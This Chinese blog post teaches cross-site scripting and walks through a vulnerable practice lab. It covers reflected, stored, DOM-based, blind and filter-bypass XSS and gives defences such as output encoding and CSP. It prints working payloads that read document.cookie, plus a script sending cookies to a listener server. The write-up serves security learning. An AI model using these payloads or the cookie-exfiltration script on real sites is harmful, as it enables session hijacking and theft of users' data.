前言
本篇博文是《从0到1学习安全测试》中靶场练习 系列的第二 篇博文,主要内容是了解跨站脚本攻击以及通过靶场进行实战练习加深印象 ,往期系列文章请访问博主的 安全测试 专栏;
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
跨站脚本攻击介绍
跨站脚本攻击(Cross-Site Scripting,简称 XSS) 是一种常见的网络攻击方式,攻击者通过在网页中插入恶意脚本,导致用户的浏览器执行这些脚本。通过这种方式,攻击者可以窃取用户的敏感信息、进行会话劫持,甚至传播恶意软件。
攻击方式
-
反射型 XSS(Reflected XSS) :攻击者将恶意脚本嵌入到 URL 中,并诱使用户点击链接,服务器将用户的请求直接反射回页面,执行恶意脚本。例如,攻击者可能通过邮件发送一个包含恶意参数的链接。
-
存储型 XSS(Stored XSS) :攻击者将恶意脚本存储在服务器上(如数据库、留言板等),当其他用户访问这些内容时,脚本被自动执行。例如,在用户评论区插入恶意代码,其他用户查看评论时触发。
-
基于 DOM 的 XSS(DOM-based XSS) :攻击者通过修改页面的 DOM 结构,使得客户端脚本执行恶意代码。例如,利用 JavaScript 的
document.location
或document.write
来改变页面内容。 -
盲打 XSS(Blind XSS) :XSS 的一种变体,与传统的 XSS 攻击不同,盲打 XSS 在攻击者无法立即看到或获取到攻击结果的情况下实施,通常需要将恶意代码注入到目标应用的某些部分,等待该代码在另一个地方被执行。
防御措施
-
输入验证:对用户输入的数据进行严格验证,确保不允许输入任何脚本代码。可以使用白名单方式来过滤有效输入。
-
输出编码 :在输出到网页时,对用户输入进行 HTML 实体编码,将特殊字符(如
<
,>
,&
)转换为其对应的 HTML 实体,以避免执行。 -
内容安全策略(CSP) :通过设置 HTTP 头部的
Content-Security-Policy
,限制可执行的脚本源,从而防止未授权的脚本执行。 -
避免内联脚本 :不在 HTML 中直接使用 JavaScript 代码,而是将所有脚本放在外部文件中,并使用
nonce
或hash
进行安全验证。 -
使用安全库和框架:利用现代前端框架(如 React、Angular)自带的防 XSS 机制,自动处理用户输入和输出,减少手动编码错误的可能性。
跨站脚本攻击练习
1、反射型 XSS (GET)
先输入一个 sidiot
尝试一下,如下图所示:
这里尝试简单的 XSS 注入,写到一半发现 input 框限制了长度,可以 F12 修改长度 maxlength="200"
,或者直接在 GET 参数中进行注入 %3Cimg%20src%3D1%20onerror%3Dalert(1)%3E
,如下图所示:
2、反射型 XSS (POST)
通过提示,我们可以知道这道题的目的是为了让我们通过 XSS 来获取到 cookie。
先通过账号密码 admin/123456 进行登录,登录后还是和上一题一样的形式,尝试一下 <img src=1 onerror=alert(document.cookie)>
,成功获取到 cookie:
3、存储型 XSS
尝试 <img src=1 onerror=alert(1)>
进行注入,成功弹框:
由于是留言板,我们发布之后,它会在底下进行展示,因此这将会是永久性的 XSS。
4、DOM 型 XSS
尝试输入 sidiot,根据提示查看 HTML 元素,如下图所示:
我们要做的是,在 href 属性里执行 JS 代码,例如 javascript:alert(1)
,点击 "what do you see?" 即会触发弹窗:
5、XSS 盲打
尝试输入 <img src=1 onerror=alert(document.cookie)>
进行 XSS 注入,发现提交之后并没有进行弹窗,而是在底部返回了 "谢谢参与,阁下的看法我们已经收到!"。
直接瞄一眼提示:
登录到后台后,发现出现弹窗:
由于 XSS 盲打的执行效果通常是由后台人员或不同的用户组触发的,攻击者无法在前端直接看到结果。因此,攻击者常常使用外部资源来接收信息,例如通过创建监听的外部服务器,将攻击结果(如敏感信息)发送到该服务器。
使用如下指令来反弹攻击结果:
html
<script>
var img = new Image();
img.src = 'http://127.0.0.1:8888/?cookie=' + document.cookie;
</script>
下面拉起一个 Python 的临时服务,用于监听反弹回来的攻击结果:
6、XSS 过滤
直接一把出了 <img src=1 onerror=alert(document.cookie)>
:
去代码里看看过滤了什么:
这段正则试图替换用户输入中的所有形态的 <script>
标签,防止攻击者通过插入一些无关字符绕过简单的过滤规则。例如,<sCrIpT>
或者 <scr<sp>ipt>
这种变形。
但是这段正则表达式只能处理比较明显的 <script>
标签变种,更复杂的变种可能绕过这个正则,例如使用多字节编码、实体编码(<script>
)等。
而且,虽然过滤掉了 <script>
标签,但攻击者可能会利用其他方式进行 XSS 攻击,例如通过事件处理属性(如 onclick
、onload
)注入恶意代码,或者通过 <iframe>
、<img>
等标签引入脚本。
为了更安全地处理用户输入,可以使用 htmlspecialchars
函数来防止 XSS 攻击。htmlspecialchars
函数将所有的 HTML 特殊字符转义,确保输入内容以纯文本形式显示,而不会被浏览器解释为 HTML 或 JavaScript。
php
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
7、XSS htmlspecialchars
上面已经介绍过 htmlspecialchars
会将特殊的 HTML 字符转义为 HTML 实体,确保这些字符不会在浏览器中被解析为 HTML 或 JavaScript,以下的特殊字符会被转换为对应的 HTML 实体:
字符 | 转换后的实体 |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' |
通过将这些字符转义,浏览器就不会将它们解释为实际的 HTML 标签或属性,而是作为普通的文本内容来展示。这是防止 XSS 攻击的一个非常有效的措施。
直接 <img src=1 onerror=alert(document.cookie)>
试试效果:
看样子可以考虑去闭合 href,' onclick='alert(1)'
单引号没被转义是可行的,双引号被转义了用不了 href="" onclick="alert(1)""
:
或者使用 javascript:alert(document.title)
来绕过特殊字符转义:
8、XSS href 输出
直接用上面的脚本跟进行注入 javascript:alert(document.title)
:
在这种情况下,我们可以采取相应的安全措施来防止潜在的攻击。首先,可以通过白名单机制只允许合法的协议类型,例如 http
和 https
。其次,应该对用户输入的内容进行 htmlspecialchars
处理,将特殊字符(如 <
, >
, &
等)转义为 HTML 实体,防止它们被解析为 HTML 或脚本标签。这些预防措施可以有效防止 XSS 攻击和其他潜在的安全威胁,确保网页的安全性。
9、XSS js 输出
尝试输入 sidiot,看看反应,根据题目是与 JS 有关,因此直接看到 script 中:
直接尝试去闭合单引号:';alert(1);$m='
,拿下。
后记
以上就是 跨站脚本攻击 XSS 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
📝 上篇精讲:(一)暴力破解漏洞 Burt Force
💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;
👍 公众号:sidiot的技术驿站;
🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试